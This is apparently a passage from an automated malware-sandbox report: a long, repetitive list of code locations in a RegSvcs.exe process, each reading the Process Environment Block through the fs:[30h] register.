Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov eax, dword ptr fs:[00000030h] 3_2_0128E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov eax, dword ptr fs:[00000030h] 3_2_0128E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov ecx, dword ptr fs:[00000030h] 3_2_0128E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov eax, dword ptr fs:[00000030h] 3_2_0128E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov eax, dword ptr fs:[00000030h] 3_2_0128E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov ecx, dword ptr fs:[00000030h] 3_2_0128E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov eax, dword ptr fs:[00000030h] 3_2_0128E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov ecx, dword ptr fs:[00000030h] 3_2_0128E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128A118 mov ecx, dword ptr fs:[00000030h] 3_2_0128A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128A118 mov eax, dword ptr fs:[00000030h] 3_2_0128A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128A118 mov eax, dword ptr fs:[00000030h] 3_2_0128A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128A118 mov eax, dword ptr fs:[00000030h] 3_2_0128A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A0115 mov eax, dword ptr fs:[00000030h] 3_2_012A0115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6154 mov eax, dword ptr fs:[00000030h] 3_2_011E6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6154 mov eax, dword ptr fs:[00000030h] 3_2_011E6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DC156 mov eax, dword ptr fs:[00000030h] 3_2_011DC156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4164 mov eax, dword ptr fs:[00000030h] 3_2_012B4164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4164 mov eax, dword ptr fs:[00000030h] 3_2_012B4164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01274144 mov eax, dword ptr fs:[00000030h] 3_2_01274144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01274144 mov eax, dword ptr fs:[00000030h] 3_2_01274144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01274144 mov ecx, dword ptr fs:[00000030h] 3_2_01274144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01274144 mov eax, dword ptr fs:[00000030h] 3_2_01274144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01274144 mov eax, dword ptr fs:[00000030h] 3_2_01274144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01278158 mov eax, dword ptr fs:[00000030h] 3_2_01278158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DA197 mov eax, dword ptr fs:[00000030h] 3_2_011DA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DA197 mov eax, dword ptr fs:[00000030h] 3_2_011DA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DA197 mov eax, dword ptr fs:[00000030h] 3_2_011DA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129C188 mov eax, dword ptr fs:[00000030h] 3_2_0129C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129C188 mov eax, dword ptr fs:[00000030h] 3_2_0129C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01220185 mov eax, dword ptr fs:[00000030h] 3_2_01220185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01284180 mov eax, dword ptr fs:[00000030h] 3_2_01284180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01284180 mov eax, dword ptr fs:[00000030h] 3_2_01284180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126019F mov eax, dword ptr fs:[00000030h] 3_2_0126019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126019F mov eax, dword ptr fs:[00000030h] 3_2_0126019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126019F mov eax, dword ptr fs:[00000030h] 3_2_0126019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126019F mov eax, dword ptr fs:[00000030h] 3_2_0126019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B61E5 mov eax, dword ptr fs:[00000030h] 3_2_012B61E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012101F8 mov eax, dword ptr fs:[00000030h] 3_2_012101F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A61C3 mov eax, dword ptr fs:[00000030h] 3_2_012A61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A61C3 mov eax, dword ptr fs:[00000030h] 3_2_012A61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E1D0 mov eax, dword ptr fs:[00000030h] 3_2_0125E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E1D0 mov eax, dword ptr fs:[00000030h] 3_2_0125E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E1D0 mov ecx, dword ptr fs:[00000030h] 3_2_0125E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E1D0 mov eax, dword ptr fs:[00000030h] 3_2_0125E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E1D0 mov eax, dword ptr fs:[00000030h] 3_2_0125E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FE016 mov eax, dword ptr fs:[00000030h] 3_2_011FE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FE016 mov eax, dword ptr fs:[00000030h] 3_2_011FE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FE016 mov eax, dword ptr fs:[00000030h] 3_2_011FE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FE016 mov eax, dword ptr fs:[00000030h] 3_2_011FE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01276030 mov eax, dword ptr fs:[00000030h] 3_2_01276030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01264000 mov ecx, dword ptr fs:[00000030h] 3_2_01264000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01282000 mov eax, dword ptr fs:[00000030h] 3_2_01282000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01282000 mov eax, dword ptr fs:[00000030h] 3_2_01282000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01282000 mov eax, dword ptr fs:[00000030h] 3_2_01282000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01282000 mov eax, dword ptr fs:[00000030h] 3_2_01282000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01282000 mov eax, dword ptr fs:[00000030h] 3_2_01282000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01282000 mov eax, dword ptr fs:[00000030h] 3_2_01282000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01282000 mov eax, dword ptr fs:[00000030h] 3_2_01282000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01282000 mov eax, dword ptr fs:[00000030h] 3_2_01282000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DA020 mov eax, dword ptr fs:[00000030h] 3_2_011DA020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DC020 mov eax, dword ptr fs:[00000030h] 3_2_011DC020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E2050 mov eax, dword ptr fs:[00000030h] 3_2_011E2050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120C073 mov eax, dword ptr fs:[00000030h] 3_2_0120C073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01266050 mov eax, dword ptr fs:[00000030h] 3_2_01266050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012780A8 mov eax, dword ptr fs:[00000030h] 3_2_012780A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A60B8 mov eax, dword ptr fs:[00000030h] 3_2_012A60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A60B8 mov ecx, dword ptr fs:[00000030h] 3_2_012A60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E208A mov eax, dword ptr fs:[00000030h] 3_2_011E208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D80A0 mov eax, dword ptr fs:[00000030h] 3_2_011D80A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012660E0 mov eax, dword ptr fs:[00000030h] 3_2_012660E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012220F0 mov ecx, dword ptr fs:[00000030h] 3_2_012220F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DC0F0 mov eax, dword ptr fs:[00000030h] 3_2_011DC0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E80E9 mov eax, dword ptr fs:[00000030h] 3_2_011E80E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012620DE mov eax, dword ptr fs:[00000030h] 3_2_012620DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DA0E3 mov ecx, dword ptr fs:[00000030h] 3_2_011DA0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DC310 mov ecx, dword ptr fs:[00000030h] 3_2_011DC310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B8324 mov eax, dword ptr fs:[00000030h] 3_2_012B8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B8324 mov ecx, dword ptr fs:[00000030h] 3_2_012B8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B8324 mov eax, dword ptr fs:[00000030h] 3_2_012B8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B8324 mov eax, dword ptr fs:[00000030h] 3_2_012B8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A30B mov eax, dword ptr fs:[00000030h] 3_2_0121A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A30B mov eax, dword ptr fs:[00000030h] 3_2_0121A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A30B mov eax, dword ptr fs:[00000030h] 3_2_0121A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01200310 mov ecx, dword ptr fs:[00000030h] 3_2_01200310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128437C mov eax, dword ptr fs:[00000030h] 3_2_0128437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B634F mov eax, dword ptr fs:[00000030h] 3_2_012B634F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01262349 mov eax, dword ptr fs:[00000030h] 3_2_01262349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AA352 mov eax, dword ptr fs:[00000030h] 3_2_012AA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01288350 mov ecx, dword ptr fs:[00000030h] 3_2_01288350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126035C mov eax, dword ptr fs:[00000030h] 3_2_0126035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126035C mov eax, dword ptr fs:[00000030h] 3_2_0126035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126035C mov eax, dword ptr fs:[00000030h] 3_2_0126035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126035C mov ecx, dword ptr fs:[00000030h] 3_2_0126035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126035C mov eax, dword ptr fs:[00000030h] 3_2_0126035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126035C mov eax, dword ptr fs:[00000030h] 3_2_0126035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D8397 mov eax, dword ptr fs:[00000030h] 3_2_011D8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D8397 mov eax, dword ptr fs:[00000030h] 3_2_011D8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D8397 mov eax, dword ptr fs:[00000030h] 3_2_011D8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DE388 mov eax, dword ptr fs:[00000030h] 3_2_011DE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DE388 mov eax, dword ptr fs:[00000030h] 3_2_011DE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DE388 mov eax, dword ptr fs:[00000030h] 3_2_011DE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120438F mov eax, dword ptr fs:[00000030h] 3_2_0120438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120438F mov eax, dword ptr fs:[00000030h] 3_2_0120438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E83C0 mov eax, dword ptr fs:[00000030h] 3_2_011E83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E83C0 mov eax, dword ptr fs:[00000030h] 3_2_011E83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E83C0 mov eax, dword ptr fs:[00000030h] 3_2_011E83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E83C0 mov eax, dword ptr fs:[00000030h] 3_2_011E83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA3C0 mov eax, dword ptr fs:[00000030h] 3_2_011EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA3C0 mov eax, dword ptr fs:[00000030h] 3_2_011EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA3C0 mov eax, dword ptr fs:[00000030h] 3_2_011EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA3C0 mov eax, dword ptr fs:[00000030h] 3_2_011EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA3C0 mov eax, dword ptr fs:[00000030h] 3_2_011EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA3C0 mov eax, dword ptr fs:[00000030h] 3_2_011EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012163FF mov eax, dword ptr fs:[00000030h] 3_2_012163FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129C3CD mov eax, dword ptr fs:[00000030h] 3_2_0129C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012663C0 mov eax, dword ptr fs:[00000030h] 3_2_012663C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FE3F0 mov eax, dword ptr fs:[00000030h] 3_2_011FE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FE3F0 mov eax, dword ptr fs:[00000030h] 3_2_011FE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FE3F0 mov eax, dword ptr fs:[00000030h] 3_2_011FE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E3DB mov eax, dword ptr fs:[00000030h] 3_2_0128E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E3DB mov eax, dword ptr fs:[00000030h] 3_2_0128E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E3DB mov ecx, dword ptr fs:[00000030h] 3_2_0128E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E3DB mov eax, dword ptr fs:[00000030h] 3_2_0128E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F03E9 mov eax, dword ptr fs:[00000030h] 3_2_011F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F03E9 mov eax, dword ptr fs:[00000030h] 3_2_011F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F03E9 mov eax, dword ptr fs:[00000030h] 3_2_011F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F03E9 mov eax, dword ptr fs:[00000030h] 3_2_011F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F03E9 mov eax, dword ptr fs:[00000030h] 3_2_011F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F03E9 mov eax, dword ptr fs:[00000030h] 3_2_011F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F03E9 mov eax, dword ptr fs:[00000030h] 3_2_011F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F03E9 mov eax, dword ptr fs:[00000030h] 3_2_011F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012843D4 mov eax, dword ptr fs:[00000030h] 3_2_012843D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012843D4 mov eax, dword ptr fs:[00000030h] 3_2_012843D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D823B mov eax, dword ptr fs:[00000030h] 3_2_011D823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6259 mov eax, dword ptr fs:[00000030h] 3_2_011E6259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DA250 mov eax, dword ptr fs:[00000030h] 3_2_011DA250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 mov eax, dword ptr fs:[00000030h] 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01268243 mov eax, dword ptr fs:[00000030h] 3_2_01268243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01268243 mov ecx, dword ptr fs:[00000030h] 3_2_01268243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D826B mov eax, dword ptr fs:[00000030h] 3_2_011D826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B625D mov eax, dword ptr fs:[00000030h] 3_2_012B625D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129A250 mov eax, dword ptr fs:[00000030h] 3_2_0129A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129A250 mov eax, dword ptr fs:[00000030h] 3_2_0129A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E4260 mov eax, dword ptr fs:[00000030h] 3_2_011E4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E4260 mov eax, dword ptr fs:[00000030h] 3_2_011E4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E4260 mov eax, dword ptr fs:[00000030h] 3_2_011E4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012762A0 mov eax, dword ptr fs:[00000030h] 3_2_012762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012762A0 mov ecx, dword ptr fs:[00000030h] 3_2_012762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012762A0 mov eax, dword ptr fs:[00000030h] 3_2_012762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012762A0 mov eax, dword ptr fs:[00000030h] 3_2_012762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012762A0 mov eax, dword ptr fs:[00000030h] 3_2_012762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012762A0 mov eax, dword ptr fs:[00000030h] 3_2_012762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01260283 mov eax, dword ptr fs:[00000030h] 3_2_01260283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01260283 mov eax, dword ptr fs:[00000030h] 3_2_01260283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01260283 mov eax, dword ptr fs:[00000030h] 3_2_01260283
